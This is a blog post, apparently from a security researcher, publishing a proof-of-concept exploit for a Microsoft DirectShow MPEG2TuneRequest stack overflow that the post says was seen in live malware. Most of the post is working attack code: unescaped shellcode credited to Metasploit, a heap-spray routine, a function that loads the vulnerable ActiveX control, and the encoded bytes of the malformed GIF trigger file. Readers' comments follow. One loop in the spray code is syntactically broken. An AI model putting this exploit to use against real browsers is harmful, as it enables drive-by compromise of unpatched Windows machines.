Microsoft DirectShow MPEG2TuneRequest Stack Overflow P0C

So this 0day popped up in some malware today and has been floating around the chinese forums (darkst.com) for a while it seems. It has been reported on by all the infosec sites/blogs at this point.

For those that are interested here's a P0C.

//calc.exe thanks to msf.
var sCode=unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");

var nop='%u9090%u9090';
var headersize=20;
var bigblock=unescape(nop);
var slackspace=headersize+sCode.length;
while(bigblock.length bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x30000)
block=block+block+fillblock;
memory=new Array();
for(x=0;x<300;x++)
memory[x]=block+sCode;

function boom(){
var obj=document.createElement('object');
trigger.appendChild(obj);
obj.width='1';
obj.height='1';
obj.data='logo.gif';
obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
}

I've attached a sample file needed to exec the vuln.

The malformed .gif file is needed to trigger the vuln though.

So for those wanting the image... ;)

AAMAABEgNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wwMDAwA

Cheers,
/dean

Note to self: Figure out this new blog and make the code look nice and have it display all the tags, etc...

Trackback URL for this post:

http://carnal0wnage.attackresearch.com/trackback/370

Comments

This post is not

This post is not malicious...your AV just sucks

Awesome! Thanks for the link.

Awesome! Thanks for the link.

/dean

A Metasploit exploit module

Recognize-Security posted an exploit code for this issue earlier today -
http://www.rec-sec.com/2009/07/06/ms-directshow-msvidctl-exploit/